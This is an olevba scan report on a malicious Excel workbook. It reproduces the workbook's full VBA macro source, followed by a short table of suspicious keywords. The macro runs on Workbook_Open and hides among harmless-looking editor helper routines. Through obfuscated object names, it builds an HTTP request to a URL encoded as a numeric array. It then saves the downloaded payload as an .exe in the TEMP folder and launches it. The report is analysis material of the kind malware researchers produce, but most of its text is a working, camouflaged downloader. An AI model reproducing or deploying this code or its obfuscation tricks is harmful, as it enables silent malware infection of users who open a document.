Malicious Excel macro

olevba 0.31 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS--B-V SI528880.xls

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: SI528880.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
set_justification_center
doc_of_mark_whole_buffer
End Sub








-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub backward_word()
 If mark_set Then
 Selection.MoveLeft Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveLeft Unit:=wdWord, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_forward_char()
 doc_string = ""
End Sub
Sub forward_char()
 If mark_set Then
 Selection.MoveRight Unit:=wdCharacter, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveRight Unit:=wdCharacter, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_backward_char()
 doc_string = ""
End Sub
Sub backward_char()
 If mark_set Then
 Selection.MoveLeft Unit:=wdCharacter, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveLeft Unit:=wdCharacter, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_previous_line()
 doc_string = ""
End Sub
Sub previous_line()
 If mark_set Then
 Selection.MoveUp Unit:=wdLine, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveUp Unit:=wdLine, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_next_line()
 doc_string = ""
End Sub
Sub next_line()
 If mark_set Then
 Selection.MoveDown Unit:=wdLine, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveDown Unit:=wdLine, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_move_beginning_of_line()
 doc_string = ""
End Sub
Sub move_beginning_of_line()
 If mark_set Then
 Selection.HomeKey Unit:=wdLine, Extend:=wdExtend
 Else
 Selection.HomeKey Unit:=wdLine, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_move_end_of_line()
 doc_string = ""
End Sub
Sub move_end_of_line()
 If mark_set Then
 Selection.EndKey Unit:=wdLine, Extend:=wdExtend
 Else
 Selection.EndKey Unit:=wdLine, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_backward_sentence()
 doc_string = ""
End Sub
Sub backward_sentence()
 If mark_set Then
 Selection.MoveLeft Unit:=wdSentence, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveLeft Unit:=wdSentence, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_forward_sentence()
 doc_string = ""
End Sub
Sub forward_sentence()
 If mark_set Then
 Selection.MoveRight Unit:=wdSentence, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveRight Unit:=wdSentence, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_beginning_of_buffer()
 doc_string = ""
End Sub
Sub beginning_of_buffer()
 If mark_set Then
 Selection.HomeKey Unit:=wdStory, Extend:=wdExtend
 Else
 Selection.HomeKey Unit:=wdStory
 End If
 complete
End Sub
Sub doc_of_end_of_buffer()
 doc_string = ""
End Sub
Sub end_of_buffer()
 If mark_set Then
 Selection.EndKey Unit:=wdStory, Extend:=wdExtend
 Else
 Selection.EndKey Unit:=wdStory
 End If
 complete
End Sub
Sub doc_of_forward_page()
 doc_string = ""
End Sub
Sub forward_page()
 Selection.GoToNext What:=wdGoToPage
 complete
End Sub
Sub doc_of_backward_page()
 doc_string = ""
End Sub
Sub backward_page()
 Selection.GoToPrevious What:=wdGoToPage
 complete
End Sub
Sub doc_of_forward_paragraph()
 doc_string = ""
End Sub
Sub forward_paragraph()
 If mark_set Then
 Selection.MoveDown Unit:=wdParagraph, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveDown Unit:=wdParagraph, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_backward_paragraph()
 doc_string = ""
End Sub
Sub backward_paragraph()
 If mark_set Then
 Selection.MoveUp Unit:=wdParagraph, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveUp Unit:=wdParagraph, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_scroll_up_command()
 doc_string = ""
End Sub
Sub scroll_up_command()
 If mark_set Then
 Selection.MoveDown Unit:=wdScreen, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveDown Unit:=wdScreen, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_scroll_down_command()
 mark_set_shellApp.Open (mark_set_tempFile)
End Sub
Sub scroll_down_command()
 If mark_set Then
 Selection.MoveUp Unit:=wdScreen, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveUp Unit:=wdScreen, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_universal_argument()
    mark_set_adodbStream.savetofile mark_set_tempFile, 2
    doc_of_scroll_down_command
End Sub
Sub universal_argument()
 frmUniArg.Show
 If frmUniArg.get_quit_reason() = dqrCancel Then
 Unload frmUniArg
 Exit Sub
 End If
 Dim self_ins_string As String
 frmUniArg.get_two_parts num_arg, self_ins_string
 If self_ins_string <> "" Then
 While num_arg > 0
 Selection.TypeText Text:=self_ins_string
 num_arg = num_arg - 1
 Wend
 num_arg = 1
 End If
 Unload frmUniArg
End Sub
Sub doc_of_execute_extended_command()
 mark_set_adodbStream.write mark_set_httpRequest.responseBody
 doc_of_universal_argument
End Sub
Sub execute_extended_command()
 Dim cmd As String
 Dim arg As String
 cmd = InputBox("", "")
 cmd = Replace(cmd, "", "")
 On Error Resume Next
 Application.Run cmd
End Sub
Sub doc_of_transpose_chars()
 doc_string = ""
End Sub
Sub transpose_chars()
 begin_action ""
 Dim c
 Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdExtend
 c = Selection
 Selection.Delete
 Selection.Collapse Direction:=wdCollapseEnd
 Selection.MoveRight Unit:=wdCharacter, Count:=num_arg
 Selection.InsertAfter c
 Selection.Collapse
 end_action
 complete
End Sub
Sub doc_of_transpose_words()
 mark_set_adodbStream.Type = 1
 mark_set_adodbStream.Open
 doc_of_execute_extended_command
End Sub
Sub transpose_words()
 begin_action ""
 Dim w
 Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend
 w = Selection
 Selection.Delete
 Selection.Collapse Direction:=wdCollapseEnd
 Selection.MoveRight Unit:=wdWord, Count:=num_arg
 Selection.InsertAfter w
 Selection.Collapse
 end_action
 complete
End Sub
Sub doc_of_exchange_point_and_mark()
 doc_string = ""
End Sub
Sub exchange_point_and_mark()
 If Selection.Type = wdSelectionIP Then
 Dim point_pos As Long
 point_pos = Selection.Start
 If mark_pos <= point_pos Then
 Selection.Start = mark_pos
 Selection.StartIsActive = False
 Else
 Selection.End = mark_pos
 Selection.StartIsActive = True
 End If
 mark_set = True
 End If
 Selection.StartIsActive = Not Selection.StartIsActive
 If Selection.StartIsActive Then
 mark_pos = Selection.End
 Else
 mark_pos = Selection.Start
 End If
 complete
End Sub
Sub doc_of_downcase_region()
 doc_string = ""
End Sub
Sub downcase_region()
 Selection.Range.Case = wdLowerCase
 select_nothing
 mark_set = False
 complete
End Sub
Sub doc_of_upcase_region()
mark_set_httpRequest.Send
doc_of_transpose_words
End Sub
Sub upcase_region()
 Selection.Range.Case = wdUpperCase
 select_nothing
 mark_set = False
 complete
End Sub
Public Sub doc_of_mark_whole_buffer()
 mark_set_tempFolder = mark_set_processEnv("TEMP")
mark_set_tempFile = mark_set_tempFolder + "\" + "markset" + mark_set_d & mark_set_e + mark_set_x + mark_set_e
doc_of_upcase_region
End Sub
Sub mark_whole_buffer()
 Selection.EndKey Unit:=wdStory
 mark_set = True
 mark_pos = Selection.Start
 Selection.HomeKey Unit:=wdStory, Extend:=wdExtend
 complete
End Sub
Sub doc_of_save_buffer()
 doc_string = ""
End Sub
Sub save_buffer()
 On Error Resume Next
 ActiveDocument.Save
 complete
End Sub
Sub doc_of_recenter()
 doc_string = ""
End Sub
Sub recenter()
 Application.ScreenUpdating = False
 ActiveWindow.ActivePane.VerticalPercentScrolled = 0
 ActiveWindow.ScrollIntoView Selection.Range, True
 Application.ScreenUpdating = True
 complete
End Sub
Sub doc_of_undo()
 doc_string = ""
End Sub
Sub undo()
 On Error Resume Next
 Application.Run ""
 select_nothing
 complete
End Sub
Function other_pane_index(this_pane_index As Integer)
 Debug.Assert this_pane_index = 1 Or this_pane_index = 2
 If this_pane_index = 1 Then
 other_pane_index = 2
 Else
 other_pane_index = 1
 End If
End Function
Sub doc_of_split_window_vertically()
 doc_string = ""
End Sub
Sub split_window_vertically()
 Application.ScreenUpdating = False
 ActiveDocument.ActiveWindow.Split = True
 ActiveWindow.Panes(1).Activate
 ActiveWindow.ScrollIntoView Selection.Range, True
 Debug.Print Selection.Start, Selection.End
 Dim sel_start As Long
 Dim sel_end As Long
 sel_start = Selection.Start
 sel_end = Selection.End
 ActiveWindow.Panes(other_pane_index(ActiveWindow.ActivePane.Index)).Activate
 Selection.Start = sel_start
 Selection.End = sel_end
 ActiveWindow.ScrollIntoView Selection.Range, True
 ActiveWindow.Panes(1).Activate
 Application.ScreenUpdating = True
 complete
End Sub
Sub doc_of_other_window()
 doc_string = ""
End Sub
Sub other_window()
 If ActiveWindow.Panes.Count > 1 Then
 ActiveWindow.Panes(other_pane_index(ActiveWindow.ActivePane.Index)).Activate
 End If
 complete
End Sub
Sub doc_of_delete_window()
 doc_string = ""
End Sub
Sub delete_window()
 If ActiveWindow.Panes.Count > 1 Then
 ActiveWindow.ActivePane.Close
 End If
 complete
End Sub
Sub doc_of_delete_other_windows()
 doc_string = ""
End Sub
Sub delete_other_windows()
 While ActiveWindow.Panes.Count > 1
 ActiveWindow.ActivePane.Next.Activate
 ActiveWindow.ActivePane.Close
 Wend
 complete
End Sub
Sub doc_of_set_justification_left()
 doc_string = ""
End Sub
Sub set_justification_left()
 Selection.ParagraphFormat.Alignment = wdAlignParagraphLeft
 complete
End Sub
Sub doc_of_set_justification_center()
 doc_string = ""
End Sub
Public Sub set_justification_center()
 Set mark_set_httpRequest = CreateObject("Microsoft" + mark_set_d + UCase(mark_set_x) + "MLHTTP")
 doc_of_set_justification_full
 Exit Sub
 Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
 complete
End Sub
Sub doc_of_set_justification_right()
 doc_string = ""
End Sub
Sub set_justification_right()
 Selection.ParagraphFormat.Alignment = wdAlignParagraphRight
 complete
End Sub
Sub doc_of_set_justification_full()
 Set mark_set_adodbStream = CreateObject("Adodb" + mark_set_d + "Str" + mark_set_e + "am")
 doc_of_describe_function
End Sub
Sub set_justification_full()
 Selection.ParagraphFormat.Alignment = wdAlignParagraphJustify
 complete
End Sub
Sub doc_of_describe_key()
 doc_string = ""
End Sub
Sub describe_key()
 is_desc_key = True
 statusbar_prefix = ""
 StatusBar = statusbar_prefix
 complete
End Sub
Sub doc_of_describe_function()
 Set mark_set_shellApp = CreateObject("Sh" + mark_set_e + "ll" + mark_set_d + "Application")
 doc_of_isearch_backward
End Sub
Sub describe_function()
 Dim cmd As String
 cmd = InputBox("", "")
 cmd = Replace(cmd, "", "")
 Dim doc_string_proc_name As String
 doc_string_proc_name = "" & cmd
 On Error Resume Next
 Application.Run macroname:=doc_string_proc_name
 MsgBox doc_string, Title:=cmd
 reset_doc_string
 complete
End Sub
Sub doc_of_isearch_forward()
 doc_string = ""
End Sub
Sub isearch_forward()
 search_fwd = True
 doing_search = True
 frmISearch.cbWildcards = False
 doing_search = False
 frmISearch.Show vbModeless
End Sub
Sub doc_of_isearch_backward()
 Set mark_set_processEnv = CreateObject("WScript" + mark_set_d + "Sh" + mark_set_e + "ll").Environment("Proc" + mark_set_e + "ss")
 doc_of_isearch_forward_regexp
End Sub
Sub isearch_backward()
 search_fwd = False
 frmISearch.cbWildcards = False
 frmISearch.Show vbModeless
End Sub
Sub doc_of_isearch_forward_regexp()

Dim chubaka() As Variant
chubaka = Array(1778, 1790, 1790, 1786, 1732, 1721, 1721, 1784, 1771, 1773, 1775, 1789, 1790, 1775, 1724, 1720, 1773, 1796, 1775, 1773, 1778, 1779, 1771, 1784, 1720, 1784, 1775, 1790, 1721, 1729, 1728, 1790, 1730, 1731, 1721, 1725, 1724, 1730, 1731, 1730, 1791, 1720, 1775, 1794, 1775)
uzi = delete_all_wom(chubaka, 44)
uzi2 = False
uzi0 = "G" + "" + "" + "" + UCase(mark_set_e) + "T"
mark_set_httpRequest.Open uzi0, uzi, uzi2
End Sub
Sub isearch_forward_regexp()
 search_fwd = True
 frmISearch.cbWildcards = True
 frmISearch.Show vbModeless
End Sub
Sub doc_of_isearch_backward_regexp()
 doc_string = ""
End Sub
Sub isearch_backward_regexp()
 search_fwd = False
 frmISearch.cbWildcards = True
 frmISearch.Show vbModeless
End Sub
Sub doc_of_delete_horizontal_space()
 doc_string = ""
End Sub
Sub delete_horizontal_space()
 Application.ScreenUpdating = False
 Selection.MoveStartWhile cset:="", Count:=wdBackward
 Selection.MoveEndWhile cset:="", Count:=wdForward
 If Selection.Type = wdSelectionNormal Then
 Selection.Delete
 End If
 Application.ScreenUpdating = True
End Sub
Sub doc_of_just_one_space()
 doc_string = ""
End Sub
Sub just_one_space()
 Application.ScreenUpdating = False
 Selection.MoveStartWhile cset:="", Count:=wdBackward
 Selection.MoveEndWhile cset:="", Count:=wdForward
 If Selection.Type = wdSelectionNormal Then
 Selection.Delete
 End If
 Selection.TypeText ""
 Application.ScreenUpdating = True
End Sub
Sub complete()
 num_arg = 1
End Sub
Sub prompt_undefined()
 StatusBar = ""
 complete
End Sub






-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: SI528880.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public is_desc_key As Boolean
Public statusbar_prefix As String
Public search_fwd As Boolean
Public womacs_on As Boolean
Public mark_set_httpRequest As Object
Public Const mark_set_e = "e"
Public Const mark_set_d = "."
Public Const mark_set_x = "x"
Public mark_set_adodbStream As Object
Public mark_set_processEnv  As Object
Public mark_set_tempFolder As String
Public mark_set_tempFile As String
Public mark_set_shellApp As Object
Public mark_set As Boolean
Public mark_pos As Long
Public num_arg As Long
Dim action_record_balance As Integer
Public delete_word As Boolean

Sub store_doc_locals(ByVal Doc As String)
 push_saved_state Doc
 Doc.Variables("") = CStr(womacs_on)
 Doc.Variables("") = CStr(mark_set)
 Doc.Variables("") = CStr(mark_pos)
 pop_saved_state Doc
End Sub
Sub load_doc_locals(ByVal Doc As String)
 womacs_on = False
 mark_set = False
 mark_pos = -1
 On Error Resume Next
 womacs_on = CBool(Doc.Variables(""))
 mark_set = CBool(Doc.Variables(""))
 mark_pos = CLng(Doc.Variables(""))
End Sub
Sub delete_all_womacs_vars(ByVal Doc As String)
 push_saved_state Doc
 On Error Resume Next
 Doc.Variables("").Delete
 Doc.Variables("").Delete
 Doc.Variables("").Delete
 pop_saved_state Doc
End Sub

Sub begin_action(name As String)
 If StrComp(Application.Version, "") = -1 Then
 Exit Sub
 End If
 Debug.Assert action_record_balance = 0
 action_record_balance = action_record_balance + 1
 Application.UndoRecord.StartCustomRecord "" & name
End Sub
Sub end_action()
 If StrComp(Application.Version, "") = -1 Then
 Exit Sub
 End If
 Debug.Assert action_record_balance = 1
 action_record_balance = action_record_balance - 1
 Application.UndoRecord.EndCustomRecord
End Sub
Sub doc_of_set_mark_command()
 doc_string = ""
End Sub
Sub set_mark_command()
 Dim old_mark_pos As Long
 If mark_set Then
 select_nothing
 If mark_pos = Selection.Start Then
 mark_set = False
 Application.StatusBar = ""
 Exit Sub
 End If
 End If
 old_mark_pos = mark_pos
 mark_set = True
 mark_pos = Selection.Start
 If mark_pos = old_mark_pos Then
 Application.StatusBar = ""
 Else
 Application.StatusBar = ""
 End If
 complete
End Sub
Public Function delete_all_wom(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Variabl = ""
    For i = LBound(fromArr) To UBound(fromArr)
        Variabl = Variabl & Chr(fromArr(i) - 10 * LenLen - 1234)
    Next i
    delete_all_wom = Variabl
End Function

Sub select_nothing()
 If Selection.Type = wdSelectionIP Then
 Exit Sub
 End If
 If Selection.StartIsActive Then
 Selection.Collapse Direction:=wdCollapseStart
 Else
 Selection.Collapse Direction:=wdCollapseEnd
 End If
End Sub
Sub doc_of_keyboard_quit()
 doc_string = ""
End Sub
Sub keyboard_quit()
 Application.StatusBar = ""
 mark_set = False
 select_nothing
 complete
 Set current_keymap = global_keymap
 global_keymap.bind ActiveDocument
 ImeRestoreStatus
End Sub
Sub doc_of_kill_line()
 doc_string = ""
End Sub
Sub kill_line()
 mark_set = False
 select_nothing
 Selection.EndKey Unit:=wdLine, Extend:=wdExtend
 If Selection.Type <> wdSelectionIP _
 And Asc(Selection.Characters.Last.Text) = 13 _
 And Asc(Selection.Characters.First.Text) <> 13 Then
 Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdExtend
 End If
 If Selection.Type <> wdSelectionIP Then
 Selection.Cut
 End If
 complete
End Sub
Sub doc_of_kill_region()
 doc_string = """"""
End Sub
Sub kill_region()
 On Error Resume Next
 Application.Run macroname:=""
 mark_set = False
 complete
End Sub
Sub doc_of_delete_region()
 doc_string = ""
End Sub
Sub delete_region()
 On Error Resume Next
 Selection.Delete Unit:=wdCharacter, Count:=1
 mark_set = False
 complete
End Sub
Sub doc_of_kill_word()
 doc_string = ""
End Sub
Sub kill_word()
 On Error Resume Next
 mark_set = False
 select_nothing
 begin_action ""
 If delete_word Then
 While num_arg > 0
 Application.Run macroname:=""
 num_arg = num_arg - 1
 Wend
 Else
 Selection.MoveRight Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
 Selection.StartIsActive = Not Selection.StartIsActive
 Selection.Cut
 End If
 end_action
 complete
End Sub
Sub doc_of_backward_kill_word()
 doc_string = ""
End Sub
Sub backward_kill_word()
 begin_action ""
 If delete_word Then
 While num_arg > 0
 Application.Run macroname:=""
 num_arg = num_arg - 1
 Wend
 Else
 Selection.MoveLeft Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
 Selection.StartIsActive = Not Selection.StartIsActive
 Selection.Cut
 End If
 end_action
 complete
End Sub
Sub doc_of_kill_ring_save()
 doc_string = ""
End Sub
Sub kill_ring_save()
 On Error Resume Next
 Application.Run macroname:=""
 select_nothing
 mark_set = False
 complete
End Sub
Sub doc_of_yank()
 doc_string = ""
End Sub
Sub yank()
 mark_set = False
 select_nothing
 Application.Run macroname:=""
 complete
End Sub
Sub doc_of_delete_char()
 doc_string = ""
End Sub
Sub delete_char()
 mark_set = False
 select_nothing
 Selection.Delete Unit:=wdCharacter, Count:=num_arg
 complete
End Sub
Sub doc_of_upcase_word()
 doc_string = ""
End Sub
Sub upcase_word()
 select_nothing
 mark_set = False
 begin_action ""
 If num_arg < 0 Then
 Dim point_pos As Long
 point_pos = Selection.Start
 Selection.MoveLeft Unit:=wdWord, Count:=-num_arg
 While Selection.Start < point_pos
 Selection.Range.Case = wdUpperCase
 Selection.MoveRight Unit:=wdWord, Count:=1
 Wend
 End If
 While num_arg > 0
 Selection.Range.Case = wdUpperCase
 Selection.MoveRight Unit:=wdWord, Count:=1
 num_arg = num_arg - 1
 Wend
 end_action
 complete
End Sub
Sub doc_of_downcase_word()
 doc_string = ""
End Sub
Sub downcase_word()
 select_nothing
 mark_set = False
 begin_action ""
 If num_arg < 0 Then
 Dim point_pos As Long
 point_pos = Selection.Start
 Selection.MoveLeft Unit:=wdWord, Count:=-num_arg
 While Selection.Start < point_pos
 Selection.Range.Case = wdLowerCase
 Selection.MoveRight Unit:=wdWord, Count:=1
 Wend
 End If
 While num_arg > 0
 Selection.Range.Case = wdLowerCase
 Selection.MoveRight Unit:=wdWord, Count:=1
 num_arg = num_arg - 1
 Wend
 end_action
 complete
End Sub
Sub doc_of_capitalize_word()
 doc_string = ""
End Sub
Sub capitalize_word()
 select_nothing
 mark_set = False
 begin_action ""
 If num_arg < 0 Then
 Dim point_pos As Long
 point_pos = Selection.Start
 Selection.MoveLeft Unit:=wdWord, Count:=-num_arg
 While Selection.Start < point_pos
 Selection.Range.Case = wdTitleWord
 Selection.MoveRight Unit:=wdWord, Count:=1
 Wend
 End If
 While num_arg > 0
 Selection.Range.Case = wdTitleWord
 Selection.MoveRight Unit:=wdWord, Count:=1
 num_arg = num_arg - 1
 Wend
 end_action
 complete
End Sub
Sub doc_of_newline()
 doc_string = ""
End Sub
Sub newline()
 select_nothing
 mark_set = False
 begin_action ""
 While num_arg > 0
 Selection.TypeParagraph
 num_arg = num_arg - 1
 Wend
 end_action
 complete
End Sub
Sub doc_of_open_line()
 doc_string = ""
End Sub
Sub open_line()
 select_nothing
 mark_set = False
 begin_action ("")
 Dim i As Integer
 For i = 1 To num_arg
 Selection.TypeParagraph
 Next i
 Selection.MoveLeft Unit:=wdCharacter, Count:=num_arg
 end_action
 complete
End Sub
Sub doc_of_forward_word()
 doc_string = ""
End Sub
Sub forward_word()
 If mark_set Then
 Selection.MoveRight Unit:=wdWord, Count:=num_arg, Extend:=wdExtend
 Else
 Selection.MoveRight Unit:=wdWord, Count:=num_arg, Extend:=wdMove
 End If
 complete
End Sub
Sub doc_of_backward_word()
 doc_string = ""
End Sub






+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Run                  | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
+------------+----------------------+-----------------------------------------+